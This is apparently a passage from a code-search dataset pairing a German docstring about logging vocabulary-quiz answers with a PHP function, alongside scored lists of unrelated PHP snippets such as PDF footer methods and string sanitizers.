"function Footer()\n\t{\n\t\t$this->SetY(-15);\n\t\t// Arial italic 8\n\t\t$this->SetFont('Arial','b',8);\n\t\t\n\t\t$this->Cell(30,1,\"----------------------------------------\",0,0,'C');\n\t\t$this->Cell(210,1,'',0,0);\n\t\t// $this->Cell(30,1,\"----------------------------------------\",0,0,'C');\n\t\t// $this->Cell(50,1,'',0,0);\n\t\t$this->Cell(30,1,\"----------------------------------------\",0,1,'C');\n\t\t\n\t\t$this->Cell(30,4,\"Prepared/Class Teacher\",0,0,'C');\n\t\t// $this->Cell(50,4,'',0,0);\n\t\t// $this->Cell(30,4,\"Controlar of Examination\",0,0,'C');\n\t\t$this->Cell(210,4,'',0,0);\n\t\t$this->Cell(30,4,\"Principal/VP\",0,1,'C');\n\t\t\n\t\t$this->Cell(50,4,date(\"d-m-y h:i:s A\"),0,0,'L');\n\t\t// Page number\n\t\t//$this->Cell(140,4,''.$this->PageNo().'/{nb}',0,0,'C');\n\t}",
"function FooterRR()\n {\n //Posición: a 2 cm del final\n $this->Ln();\n $this->SetY(-12);\n $this->SetFont('Arial','B',6);\n //Número de página\n $this->Cell(190,4,'Sistema de Control de Ventas y Facturacion \"BOUTIQUE DE ZAPATERIA\"','T',0,'L');\n $this->AliasNbPages();\n $this->Cell(0,4,'Pagina '.$this->PageNo(),'T',1,'R');\n }",
"function sloodle_print_footer()\r\n {\r\n global $CFG;\r\n echo \"<p style=\\\"text-align:center; margin-top:32px; font-size:90%;\\\"><a href=\\\"{$CFG->wwwroot}/course/view.php?id={$this->course->id}\\\"><<< \".get_string('backtocoursepage','sloodle').\"</a></h2>\";\r\n sloodle_print_footer($this->course);\r\n }",
"private function generateFoot() {\n echo '</div>';\n }",
"public function Footer() {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('helvetica','I',8);\n \n }",
"function Footer()\r\n {\r\n }",
"function Footer()\n {\n //$year = date('Y');\n //$footertext = sprintf($this->xfootertext, '');\n $this->SetY(-15);\n //$this->SetFont('', '', 5);\n //$this->SetTextColor(0, 0, 0);\n //$this->SetFont($this->xfooterfont,'',$this->xfooterfontsize);\n $this->writeHTML($this->xfootertext, true, false, true, false, '');\n //$this->Cell(0,8, $footertext,'T',3,'L');\n }",
"function Footer()\n{\n $this->SetY(-15);\n //Select Arial italic 8\n\t$this->Cell(0,10,' '.$this->PageNo(),0,0,'R');\n}",
"function Footer() {\r\n // footer line\r\n $this->SetFooterFont();\r\n $this->SetFillColor(0, 0, 0);\r\n $this->Rect(10, $this->PageBreakTrigger + 2, 190, 0.2, \"F\");\r\n $this->Rect(10, $this->PageBreakTrigger + 2.5, 190, 0.2, \"F\");\r\n $this->SetY($this->PageBreakTrigger + 5);\r\n\r\n $this->Cell(0, 0, \"Used by permission, CCLI #2752477\", 0, 1, \"L\");\r\n $this->Cell(0, 0, \"The Ridge Community Church\", 0, 1, \"R\");\r\n }",
"function footer() {\n }",
"public function xxxFooter() {\n \n include('fixed.php');\n\t\tinclude('data.php'); // Load Testing Data\n \n // Position at 15 mm from bottom\n $this->SetY(-15);\n \n // Set font\n // $this->SetFont('helvetica', 'I', 8);\n // Page number\n $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'R', 0, '', 0, false, 'T', 'M');\n//$this->Cell(-15, 10, 'aaabbbccc', 0, false, 'L', 0, '', 0, false, 'T', 'M'); \n//$this->Arrow(50,210,20,210,1,5,30); \n$foo=rand(0+10,210-10-50);\n\n$this->write1DBarcode($link_url, 'C39', 10, 293, 50, 6, 0.4, $style, 'N');\n$this->write1DBarcode($this->PageNo(), 'EAN2', 170, 293, '', 6, 0.4, $style, 'N');\n\n \n }"
] | [
"0.68786544",
"0.6670643",
"0.66550696",
"0.6568689",
"0.6568689",
"0.6564669",
"0.65513253",
"0.6531963",
"0.6515959",
"0.6494639",
"0.6490247",
"0.6459002",
"0.64573157",
"0.645407",
"0.64340377",
"0.64335066",
"0.64189595",
"0.6410665",
"0.6410253",
"0.6391819",
"0.63837606",
"0.63782465",
"0.6372751",
"0.6372751",
"0.63704574",
"0.63670963",
"0.6366506",
"0.6365203",
"0.633932",
"0.6334577",
"0.63292843",
"0.6307974",
"0.630631",
"0.63027495",
"0.62726915",
"0.62679476",
"0.6261726",
"0.62589914",
"0.6258985",
"0.6257105",
"0.6252273",
"0.62503123",
"0.6243795",
"0.6243795",
"0.62374663",
"0.6221876",
"0.6208989",
"0.6183864",
"0.6182157",
"0.6175014",
"0.6174216",
"0.61722165",
"0.61635673",
"0.615833",
"0.61534405",
"0.6147594",
"0.61439043",
"0.61439043",
"0.6139221",
"0.61336744",
"0.61193943",
"0.6116421",
"0.6115904",
"0.6115904",
"0.61077106",
"0.610437",
"0.6103248",
"0.610269",
"0.6101943",
"0.6084254",
"0.60730076",
"0.6072036",
"0.60425615",
"0.60425615",
"0.6036728",
"0.6028985",
"0.60250354",
"0.60177284",
"0.6011424",
"0.5998689",
"0.5997695",
"0.5997597",
"0.5997597",
"0.59848386",
"0.5969057",
"0.5939115",
"0.5920574",
"0.5916546",
"0.5915496",
"0.59116817",
"0.59110564",
"0.5907098",
"0.5898019",
"0.5894207",
"0.58855474",
"0.5884272",
"0.5880562",
"0.58318746",
"0.58150506",
"0.5813959"
] | 0.5890609 | 94 |
Protokolliere die Antwort einer Vokabelabfrage in der entsprechenden Datei. | private function logAnswer() {
$fileName = $this::filesPath . $this->lesson->getLessonFileName () . $this::statisticsExtension;
// lese Statistik ein
$stats = $this->getStatsFromFile ( $fileName );
// aktualisiere Statistik
$stats [1] ++;
if ($this->lesson->isCorrectAnswer ())
$stats [0] ++;
// versuche Statistik in Datei zu schreiben
try {
if (file_exists ( $fileName ) && ! is_writable ( $fileName ) || ! is_writable ( $this::filesPath ))
throw new RuntimeException ( 'Statistik konnte nicht gespeichert werden. Stelle sicher, dass entsprechende Dateien und Ordner auf dem Webserver mit den nötigen Schreibrechten eingerichtet sind.' );
file_put_contents ( $fileName, $stats [0] . "\t" . $stats [1] );
} catch ( RuntimeException $e ) {
$this->errorMessage = $e->getMessage ();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function __construct( $arg = array()) {\n $this->adresse[\"inhalt\" ] = <<<ENDE\nam \nMai 2016 \nhabe ich Sie mit Hilfe eines \"Von-an-Zettel\"s gebeten,\nmich über\nzu informieren.\n\nVielleicht ist diese Nachricht verloren gegangen,\njedenfalls haben Sie mir bis heute weder mündlich noch schriftlich eine Antwort zuteil werden lassen.\n\nGern wiederhole ich deshalb noch einmal meine Bitten und sehe Ihrer Antwort in der nächsten Woche entgegen.\n\n<p>\nSie haben mir am 21.4.2015 mitgeteilt,\nich solle\nanhand der \"gfos 4.7plus Zeitkonto\"-Ausdrucke\nselbst überprüfen,\nauf welchen Zeitraum\nsich 54.70 Stunden aus meiner Verdienstabrechnung März 2016\nerstrecken.\n\n<p>\nDas kann ich nicht.\n\n<p>\nIn meiner Verdienstabrechnung finde ich Zeitangaben wie 54.70 Std, 22.38 Std und 2.32 Std.\n<p>\nDiese Zeitangaben scheinen mit Angaben wie 10.94, 11.19 und 00.58 \nin der Spalte \"Ist\" meines \"gfos 4.7plus Zeitkonto\"-Ausdrucks zusammenzuhängen,\ndie in der Spalte \"Bemerkungen\" mit \"Auszahlung\" gekennzeichnet sind.\n\n<p>\nDie Materie scheint mir für eine mündliche Erörterung zu komplex zu sein.\nBitte informieren Sie mich schriftlich darüber,\nin welchem Zeitraum 54.70 Std, 22,38 Std und 2,32 Std aufgelaufen sind und\nwie sich die Angaben in der \"Ist\"-Spalte auf Kontostände meines\n\"gfos 4.7plus Zeitkonto\"s auswirken.\n\n<p>\nMeiner Verdienstabrechnung und einem \"gfos 4.7plus Zeitkonto\"-Ausdruck für März 2016\n<p>\nentnehme ich:\n<pre>\nAnscheinend gehen Sie von 54.70 Std Spätzuschlagszeit aus , weil 10.94 20% von 54.70 sind.\nAnscheinend gehen Sie von 22.38 Std Nachtzuschlagszeit aus, weil 11.19 50% von 22.38 sind.\nAnscheinend gehen Sie von 2.32 Std Mehrarbeitszeit aus , weil 00.58 25% von 2.32 sind.\nMehrarbeitszeit : Nicht durch hälftige Anrechnung der Verkaufsstellenprämie abgegoltene Arbeitszeit.\n</pre>\nTreffen meine Vermutungen zu?\n\n<p>\nÄhnliche Zeitangaben finde ich auch in meiner Verdienstabrechnung Juli 2015,\ndenen aber nichts in meinen \"gfos 4.7plus Zeitkonto\"-Ausdrucken\nentspricht.\n\n<p>\nIn den mir vorliegenden \"gfos 4.7plus Zeitkonto\"-Ausdrucken \nsind darüber hinaus etliche Arbeits- und Urlaubszeiten falsch angegeben.\nAuch sind viele Überträge zwischen den Monaten inkonsistent.\n<p>\nBitte geben Sie mir aktuelle \"gfos 4.7plus Zeitkonto\"-Ausdrucke\neinschließlich Monatskonten-Saldenübersichten\nfür die Zeit von April 2015 bis heute, Ende April 2016.\n\n<p>\n\nENDE;\n\n if (count( $arg) > 0) {\n $ii = 0;\n foreach ($this->adresse as $key=>$val) {\n if ($ii < count($arg)) {\n $this->adresse[$key] = $arg[$ii++];\n } else {\n $this->adresse[$key] = \"\";\n }\n }\n }\n }",
"public function _strings_for_pot()\n {\n }",
"function getfield(){\r\n // Талбаруудын утгыг авах\r\n }",
"public function bersuara()\n {\n return \"DARAWET ANJING DAWET\";\n }",
"public function __toString()\n\t{\n\t\t$ausgabe=\"\";\n\t\tif(strcmp($this->vorname,\"\") !=0)\n\t\t\t$ausgabe = $ausgabe . $this->vorname; \n\t\tif(strcmp($this->name,\"\") !=0)\n\t\t\t$ausgabe = $ausgabe . \" \". $this->name; \n\t\tif(strcmp($this->strasse,\"\") !=0)\n\t\t\t$ausgabe = $ausgabe . \" Strasse: \". $this->strasse; \n\t\tif(strcmp($this->wohnort,\"\") !=0)\n\t\t\t$ausgabe = $ausgabe . \" Wohnort: \". $this->wohnort; \n\t\tif(strcmp($this->nummer,\"\") != 0)\n\t\t\t$ausgabe = $ausgabe . \" Kundennummer: \" . $this->nummer;\n\t\treturn $ausgabe;\n\t}",
"function RellenarTitulo()\r\n {\r\n $this->Imprimir('ANÁLSIS DE FALLAS DE DISTRIBUCIÓN');\r\n\r\n $this->Imprimir($this->convocatoria->getLugar(), 93, 10);\r\n\r\n $this->Imprimir(strftime(\"%A %d de %B de %Y\", strtotime($this->convocatoria->getFecha())) .\r\n ' - Hora: ' . $this->convocatoria->getHoraIni() . ' a ' .\r\n $this->convocatoria->getHoraFin(), 95, 10, 16);\r\n }",
"public function __toString(): String{\n $garage = \"\";\n $jardin = \"\";\n if ($this->hasGarage()){\n $garage = \" avec un garage\";\n }\n if ($this->hasJardin()){\n $jardin = \" et un jardin\";\n }\n return \"Maison situé \".$this->getPays().\" dans la ville de \".$this->getVille().\" avec le code postal : \".$this->getCp().\" avec \".$this->getEtage().\" étage(s) \".\", \".$this->getChambre().\" chambre(s)\".$garage.$jardin;\n }",
"public function serang(){\n\n\t\treturn 'sedang menyerang elang';\n\n\t}",
"function zuiver($tekst)\r\n{\r\n\t$voor = '\"' ;\r\n\t$na = \""\";\r\n\t$tekst = str_replace($voor, $na, $tekst);\r\n\t$voor = \"'\" ;\r\n\t$na = \"`\";\r\n\t$tekst = str_replace($voor, $na, $tekst);\r\n\t$tekst = strip_tags($tekst);\r\n\t$tekst = stripslashes($tekst);\r\n\t$tekst = htmlentities($tekst);\r\n\treturn $tekst;\r\n}",
"public function partirAuTravail(): void\n\t{\n\t}",
"public function generic_strings()\n {\n }",
"public function __toString()\n {\n return 'El contenido de este archivo se encuentra temporalmente bloqueado. <br />Co: 403<br />Status:Forbbiden';\n }",
"public function __construct()\n {\n parent::__construct();\n $this->textEncoding = 0x00;\n $this->description = '';\n }",
"public function uploadverhaal() {\n $defaults = array();\n\n $defaults[\"straat\"] = \"straatnaam of de naam van de buurt\";\n $defaults[\"huisnummer\"] = \"huisnummer\";\n $defaults[\"maker\"] = \"maker\";\n $defaults[\"personen\"] = \"namen\";\n $defaults[\"datum\"] = \"datum of indicatie\";\n $defaults[\"titel\"] = \"titel\";\n $defaults[\"naam\"] = \"Je naam\";\n $defaults[\"email\"] = \"Je e-mailadres\";\n $defaults[\"tags\"] = \"\";\n\n $this->set('defaults', $defaults);\n }",
"function archobjet_autoriser() {\n}",
"protected function giveCity()\n {\n return \"Luanda minha CIDADE\";\n }",
"public function getDesignation(){\n\t\treturn \"Un élément\";\n\t}",
"public function getFileVuesexterne(): string\n {\n return (string) $this->fileVuesexterne;\n }",
"function __toString()\r\n {\r\n return $this->ime .\" \". $this->prezime .\" (\". $this->korisnickoIme .\")\";\r\n }",
"public function getTypoAscender() {}",
"public function getTyposcript() {}",
"public function __construct(){\n\t\t\t\t\n\t\t\t\t$this->nombre = addslashes(htmlspecialchars($_POST[\"nombre\"]));\n\t\t\t\t$this->email = addslashes(htmlspecialchars($_POST[\"email\"]));\n\t\t\t\t$this->asunto = addslashes(htmlspecialchars($_POST[\"asunto\"])); \n\t\t\t\t$this->msj = addslashes(htmlspecialchars($_POST[\"msj\"]));\n\t\t\t\t\n\t\t\t\t$this->destinatario1 =\"[email protected]\";\n\t\t\t\t$this->destinatario2 =\"[email protected]\";\n\t\t\t\t\n\t\t\t\t$this->errores = \"\";\n\t\t\t\t\n\t\t\t\t$this->sintax = \"/^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$/i\";\n\t\t\t}",
"public function Teksti2(){\n\t\t$this->teksti2=(\"sot po mbahet provimi ne lenden\");\n\t\techo $this->teksti2;\n\t}",
"function difundir() {\n\n // La funcion obtener_frase esta heredado del pariente Orador\n $frase = $this->obtener_frase();\n\n // Convirtir a mayusculos\n $frase_mayusculas = strtoupper($frase);\n\n echo $frase_mayusculas;\n\n }",
"function trieParTxt($txtVerif,$txtARespecter){\n\t\t\t\t$txtCorrespondant = false;\n\t\t\t\t\n\t\t\t\tif( preg_match('#'.$txtARespecter.'#',$txtVerif)) {\n\t\t\t\t\t$txtCorrespondant = true;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $txtCorrespondant;\n\t\t\t}",
"function formulaires_editer_feuillederoute_charger_dist() {\n\t$valeurs = array( '_texte' => '' );\n\tlire_fichier_securise(_DIR_IMG . 'feuillederoute.php',$contenu);\n\t$contenu = @unserialize($contenu);\n\tif($contenu){\n\t\t$valeurs['_texte'] = $contenu;\n\t}\n\treturn $valeurs;\n}",
"public function sanitizeFreeText()\n {\n $this->label = AdapterUtil::reencode($this->label);\n $this->street = AdapterUtil::reencode($this->street);\n $this->locality = AdapterUtil::reencode($this->locality);\n $this->region = AdapterUtil::reencode($this->region);\n $this->country = AdapterUtil::reencode($this->country);\n }",
"function berinamateman ($teman) {\n $this->nama_teman=$teman;\n }",
"private static function accentRegex() : string\n {\n return 'ÀÁÅÃÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ';\n }",
"public function getStatutTxt() {\n\t\n\t\t$this->log->debug(\"Usager::getStatutTxt() Début\");\n\t\t\n\t\t$val = \"\";\n\t\n\t\tif ($this->get(\"statut\") != \"\") {\n\t\t\t// Obtenir la chaîne à récupérer\n\t\t\t$str =\"USAGER_STATUT_\" . strtoupper($this->get('statut'));\n\t\n\t\t\t// Obtenir la valeur à partir du fichier des langues\n\t\t\t$val = constant($str);\n\t\t}\n\t\t\n\t\t$this->log->debug(\"Usager::getStatutTxt() Fin\");\n\t\n\t\treturn $val;\n\t}",
"public function content()\n {\n return 'Terima kasih atas partisipasi Anda. Berikut tautan yang dapat Anda gunakan ' .\n 'untuk mereset password Anda di dalam sistem PME BBLK Palembang.\\n' .\n $this->link() .'\\n' .\n 'Dimohon untuk menjaga kerahasiaan password.\\n\\nE-mail ini dikikrimkan oleh sistem. Mohon untuk tidak membalas e-mail ini.';\n }",
"public function __construct()\n {\n parent::__construct();\n $this->description = $this->str(\"description\");\n }",
"function chat_link_post_processing($title){\n setLocale(LC_TIME, substr(current_language(), 0, 2));\n $title = preg_replace('/TT_(.*)_TT/e', \"userdate(\\\\1)\", $title);\n return mb_convert_encoding($title, 'UTF-8', 'auto');\n}",
"protected function _asText()\n {\n return (string) parent::__toString();\n }",
"function berinamateman($teman){\n\t\t$this->nama_teman=$teman;\n\t}",
"public function veriCode() {}",
"function standardizeFileName($dateiname)\n{\n\t// habe ich kopiert aus \".....\", alle weiteren Codezeilen einschliesslich der Kommentare von dort //übernommen\n\t// erwünschte Zeichen erhalten bzw. umschreiben\n\t// aus allen ä wird ae, ü -> ue, ß -> ss (je nach Sprache mehr Aufwand)\n\t// und sonst noch ein paar Dinge;\n\t// (ist schätzungsweise mein persönlicher Geschmach ;)\n$dateiname = strtolower ( $dateiname );\n$dateiname = str_replace ('\"', \"-\", $dateiname );\n$dateiname = str_replace (\"'\", \"-\", $dateiname );\n$dateiname = str_replace (\"*\", \"-\", $dateiname );\n$dateiname = str_replace (\"ß\", \"ss\", $dateiname );\n$dateiname = str_replace (\"ß\", \"ss\", $dateiname );\n$dateiname = str_replace (\"ä\", \"ae\", $dateiname );\n$dateiname = str_replace (\"ä\", \"ae\", $dateiname );\n$dateiname = str_replace (\"ö\", \"oe\", $dateiname );\n$dateiname = str_replace (\"ö\", \"oe\", $dateiname );\n$dateiname = str_replace (\"ü\", \"ue\", $dateiname );\n$dateiname = str_replace (\"ü\", \"ue\", $dateiname );\n$dateiname = str_replace (\"Ä\", \"ae\", $dateiname );\n$dateiname = str_replace (\"Ö\", \"oe\", $dateiname );\n$dateiname = str_replace (\"Ü\", \"ue\", $dateiname );\n$dateiname = htmlentities ( $dateiname );\n$dateiname = str_replace (\"&\", \"und\", $dateiname );\n$dateiname = str_replace (\"+\", \"und\", $dateiname );\n$dateiname = str_replace (\"(\", \"-\", $dateiname );\n$dateiname = str_replace (\")\", \"-\", $dateiname );\n$dateiname = str_replace (\" \", \"-\", $dateiname );\n$dateiname = str_replace (\"\\'\", \"-\", $dateiname );\n$dateiname = str_replace (\"/\", \"-\", $dateiname );\n$dateiname = str_replace (\"?\", \"-\", $dateiname );\n$dateiname = str_replace (\"!\", \"-\", $dateiname );\n$dateiname = str_replace (\":\", \"-\", $dateiname );\n$dateiname = str_replace (\";\", \"-\", $dateiname );\n$dateiname = str_replace (\",\", \"-\", $dateiname );\n$dateiname = str_replace (\"--\", \"-\", $dateiname );\n\n// Heilfunktion\n$dateiname = filter_var($dateiname, FILTER_SANITIZE_URL);\nreturn ($dateiname);\n}",
"public function getTitulaire(): string\n {\n return $this->titulaire;\n }",
"public function message()\n {\n return 'The address may only alphabetic characters';\n }",
"function afficher() {\r\n \r\n if($this->getEtat()){\r\n echo \"0\";\r\n }else{\r\n \r\n echo \" \";\r\n }\r\n \r\n }",
"public function text() {}",
"public function text() {}",
"public function text() {}",
"public function getTipoAletaVen()\r\n\t{\r\n\t\tif($this->aletaVenA == 0){\r\n\t\t\treturn 'Aleta Aire Ref. 7';\r\n\t\t}else{\r\n\t\t\treturn 'Aleta Aire Ref. 10';\r\n\t\t}\r\n\t}",
"public function _strings_for_pot() {\n\t\t/* translators: Localized date format, see https://www.php.net/date */\n\t\t__( 'F j, Y' );\n\t\t/* translators: Localized time format, see https://www.php.net/date */\n\t\t__( 'g:i a' );\n\t\t/* translators: Localized date and time format, see https://www.php.net/date */\n\t\t__( 'F j, Y g:i a' );\n\t}",
"public function dep_trai(){\n\t\treturn $dep_trai = \"đẹp trai\";\n\t}",
"protected function convertirMayuscula(){\n $cadena=strtoupper($this->tipo);\n $this->tipo=$cadena;\n }",
"public function AggiornaPrezzi(){\n\t}",
"public function getNombre()\r\n {\r\n return \"DVD capa simple\";\r\n }",
"public function tipo_tarjeta();",
"public function getFileVuesinterne(): string\n {\n return (string) $this->fileVuesinterne;\n }",
"public function method1()\n {\n $str = $this->attribut;\n $str .= 'Je suis la class maman';\n return $str;\n }",
"public function __toString() {\n return $this->adresse;\n }",
"public function get_text()\n {\n }",
"function ToonFormulierAfspraak()\n{\n\n}",
"function vimport_abonnes_autoriser() {\n}",
"public function truycapvao_private_cha(){\n }",
"function TxtEncoding4Soap($txt){\r\n $to = $GLOBALS[\"POSTA_SECURITY\"]->Security->configuration['charset'];\r\n return iconv('UTF-8',$to, $txt);\r\n}",
"function divertUnsecureLine() \n {\n // Abstract Method\n }",
"private function customDate() {\n\t\tsetlocale(LC_ALL, 'swedish');\n\t\t// setlocale(LC_ALL, 'sv_SE.UTF-8');\n\n\t\treturn utf8_encode(ucfirst(strftime('%A, den %d %B %Y. '))) . strftime('Klockan är [%H:%M:%S].');\n\t\t// return ucfirst(strftime('%A, den %d %B %Y. ')) . strftime('Klockan är [%H:%M:%S].');\n\t}",
"public function getTercerarazonbecafecha()\n\t{\n\t\treturn $this->tercerarazonbecafecha;\n\t}",
"public function olvidoPassword(){\n\t}",
"function normalise_fichier($NomComplet){\n\t\t$valRetour = str_replace(\"'\",\"\",$NomComplet);\n\t\t$valRetour = str_replace(\" \",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"-\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\",\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"¦\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"/\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"+\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"=\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"!\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"?\",\"_\",$valRetour);\n\t\t$valRetour = str_replace(\"\",\"oe\",$valRetour);\n\t\t$valRetour = str_replace(\"æ\",\"ae\",$valRetour);\n\t\t$valRetour = mb_convert_encoding($valRetour,\"iso-8859-1\",\"UTF-8\");\n\t\t$valRetour = strtolower($valRetour);\n\t\t$valRetour = vireAccents($valRetour);\n\t\treturn($valRetour);\n\t}",
"public function afficherInformation()\n {\n //la version de la méthode implémenté dans la classe parent (Personne)\n return \"le héro est \".$this->pseudo.\" et est un \".$this->getCote();\n }",
"public function get_etat(){ return $this->_etat;}",
"public function getFileFiligramme(): string\n {\n return (string) $this->fileFiligramme;\n }",
"public function setUpCharacterStrings() {}",
"public function protected_title_format()\n {\n }",
"public function protected_title_format()\n {\n }",
"public function protected_title_format()\n {\n }",
"public function getDirecteur(): string\n {\n return (string) $this->directeur;\n }",
"function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs)\r\n {\r\n // En fait... nous nous conteterons de mémoriser le nom de la balise\r\n // afin d'en tenir compte dans la fonction \"fonctionTexte\"\r\n\r\n global $derniereBaliseRencontree;\r\n\r\n $derniereBaliseRencontree = $nomBalise;\r\n }",
"function a_mayusculas($cadena)\n{\n $cadena = strtr(strtoupper($cadena), 'àèìòùáéíóúçñäëïöü', 'ÀÈÌÒÙÁÉÍÓÚÇÑÄËÏÖÜ');\n\n return $cadena;\n}",
"function _dumpToString () {\r\n return \"text \\\"\".substr (preg_replace ('/\\s+/', ' ', $this->content), 0, 40).\"\\\" [f:\".preg_replace ('/\\s+/', ' ', join(':', array_keys ($this->_flags))).\"]\";\r\n }",
"static function Sustituto_Cadena($rb){\n $rb = str_replace(\"á\", \"á\", $rb);\n $rb = str_replace(\"é\", \"é\", $rb);\n $rb = str_replace(\"®\", \"®\", $rb);\n $rb = str_replace(\"Ã\", \"í\", $rb);\n $rb = str_replace(\"�\", \"í\", $rb);\n $rb = str_replace(\"ó\", \"ó\", $rb);\n $rb = str_replace(\"ú\", \"ú\", $rb);\n $rb = str_replace(\"n~\", \"ñ\", $rb);\n $rb = str_replace(\"º\", \"º\", $rb);\n $rb = str_replace(\"ª\", \"ª\", $rb);\n $rb = str_replace(\"á\", \"á\", $rb);\n $rb = str_replace(\"ñ\", \"ñ\", $rb);\n $rb = str_replace(\"Ñ\", \"Ñ\", $rb);\n $rb = str_replace(\"ñ\", \"ñ\", $rb);\n $rb = str_replace(\"n~\", \"ñ\", $rb);\n $rb = str_replace(\"Ú\", \"Ú\", $rb);\n return $rb;\n }",
"public function get_adresse();",
"public function message()\n {\n return __('el :attribute debe tener 8 caracteres, un numero,una letra mayuscula y una letra minuscula');\n }",
"public function get_nom(){ return $this->_nom;}",
"public function get_nom(){ return $this->_nom;}",
"public function tes()\n\t{\n\t\t$tes = \"^ & %aku% ak4 $ 12 Trilyun2 Enak2 banget2 ya Tragedi ular kembali memakan korban. Kali ini seorang bocah laki2 di Bandung tewas setelah dipatuk ular weling.--Insiden itu menimpa Andi Ramdani (11), bocah asal Jalan Nagrog, Gang Keramat RT 04/09, Kelurahan Pasirjati, Kecamatan Ujungberung, Kota Bandung. Andi tewas saat dilarikan ke rumah sakit umum daerah (RSUD) Bandung pada Rabu (23/1) siang.--Bagaimana awal mula kejadiannya? Simak selengkapnya di link yang ada di stories!--Sumber: detiknews--#detikcom #ularweling #dipatukular\";\n\t\t$tes1 = \"'DANAR' Dono y nyiyir gak ga adalah..,./ seorang...!! @mahasiswa2%&& :D z!! @mas danar_dono\";\n\t\t$cek = $this->case_folding($tes);\n\t\t$cek = $this->cleansing($cek);\n\t\t$cek = $this->stemmer($cek);\n\t\t$cek = $this->stopword($cek);\n\t\t$cek = preg_split('/ /',$cek);\n\t\t$count = count($cek);\n\t\tfor($i=0;$i<$count;$i++){\n\t\t\t$cek[$i] = $this->hilangkan_kataberulang($cek[$i]);\n\t\t}\n\t}",
"public function getNom():string{\r\n\r\n\r\n\r\n return $this->nom;\r\n\r\n\r\n\r\n\r\n \t\t\t}",
"public function setUTF()\n {\n return false;\n }",
"public function method1()\n {\n $str = $this->attribut;\n $str .= 'Je suis la class maman 2';\n return $str;\n }",
"public function getDescricaoAbreviada() {\n return $this->sDescricaoAbreviada;\n }",
"public function marcarPunto( ) {\n $this->addNumeroIP(\".\");\n\n }",
"public function __construct()\n {\n $this->setCode('desconto');\n }",
"public static function sanearData($string){\n\n $string = trim($string);\n $string = self::unEspacio($string);\n $string = stripcslashes($string);\n $string = htmlspecialchars($string);\n\n $string = str_replace(\n array('á', 'à', 'ä', 'â', 'ª', 'Á', 'À', 'Â', 'Ä'),\n array('a', 'a', 'a', 'a', 'a', 'A', 'A', 'A', 'A'),\n $string\n );\n\n $string = str_replace(\n array('é', 'è', 'ë', 'ê', 'É', 'È', 'Ê', 'Ë'),\n array('e', 'e', 'e', 'e', 'E', 'E', 'E', 'E'),\n $string\n );\n\n $string = str_replace(\n array('í', 'ì', 'ï', 'î', 'Í', 'Ì', 'Ï', 'Î'),\n array('i', 'i', 'i', 'i', 'I', 'I', 'I', 'I'),\n $string\n );\n\n $string = str_replace(\n array('ó', 'ò', 'ö', 'ô', 'Ó', 'Ò', 'Ö', 'Ô'),\n array('o', 'o', 'o', 'o', 'O', 'O', 'O', 'O'),\n $string\n );\n\n $string = str_replace(\n array('ú', 'ù', 'ü', 'û', 'Ú', 'Ù', 'Û', 'Ü'),\n array('u', 'u', 'u', 'u', 'U', 'U', 'U', 'U'),\n $string\n );\n\n $string = str_replace(\n array('ñ', 'Ñ', 'ç', 'Ç'),\n array('n', 'N', 'c', 'C'),\n $string\n );\n\n //Esta parte se encarga de eliminar cualquier caracter extraño\n $string = str_replace(\n array(\"\\\\\", \"¨\", \"º\", \"~\",\"'\",\n \"#\", \"|\", \"!\", \"\\\"\",\n \"·\", \"$\", \"%\", \"&\",\n \"(\", \")\", \"?\", \"'\", \"¡\",\n \"¿\", \"[\", \"^\", \"`\", \"]\",\n \"+\", \"}\", \"{\", \"¨\", \"´\",\n \">\", \"< \", \";\", \",\", \":\",\"/\",\"*\"\n ),\n '',\n $string\n );\n return $string;\n }",
"public function getTypoDescender() {}",
"function vName( $name ) \r\n\t\t{\t \r\n\t\t\t\t\r\n\t\t\t\treturn preg_match (\"/^[a-zA-ZàáâäãåąćęèéêëìíîïłńòóôöõøùúûüÿýżźñçčšžÀÁÂÄÃÅĄĆĘÈÉÊËÌÍÎÏŁŃÒÓÔÖÕØÙÚÛÜŸÝŻŹÑßÇŒÆČŠŽ∂ð ,.'-]+$/u\", $name);\r\n\t\t\t\t\t\t \r\n\t\t}",
"public function textKontrolEt($veri)\r\n{\r\n \r\n $ifade = '/[a-zA-ZçığöşüÇĞİÖŞÜ ]+$/i'; //Türkçe Uyumlu\r\n $islem= preg_match($ifade, $veri);\r\n return $islem;\r\n \r\n}",
"public function getPoste():?string\n {\n return $this->poste;\n }",
"public function getCrearFoto(){\n\t\treturn 'formulario de de crear Albumes';\n\t}",
"function __toString () {\n return $this->text;\n }",
"public function getAutNom(){\n\t\t\treturn $this->autnom;\n\t\t}",
"public function alterMeToo()\n {\n return \"fantabulous\";\n }",
"abstract public function getTextSettings();",
"function getChambrehospi(){\n return $this->chambre;\n }",
"function anva_footer_text_default() {\n\tprintf(\n\t\t'<p class=\"copyrights__text\">© %1$s <strong>%2$s</strong> %3$s %4$s %5$s.</p>',\n\t\tanva_get_current_year( apply_filters( 'anva_footer_year', date( 'Y' ) ) ),\n\t\tget_bloginfo( 'name' ),\n\t\tanva_get_local( 'footer_copyright' ),\n\t\tapply_filters( 'anva_footer_credits', anva_get_local( 'footer_text' ) ),\n\t\tapply_filters( 'anva_footer_author', '<a href=\"'. esc_url( 'http://anthuanvasquez.net/') .'\">Anthuan Vásquez</a>' )\n\t);\n}",
"public function testAutonameNegativeLength() {\r\n\t\t$autoname1=autoname(-23);\r\n\t\t$this->assertEquals(0, strlen($autoname1));\r\n\t}",
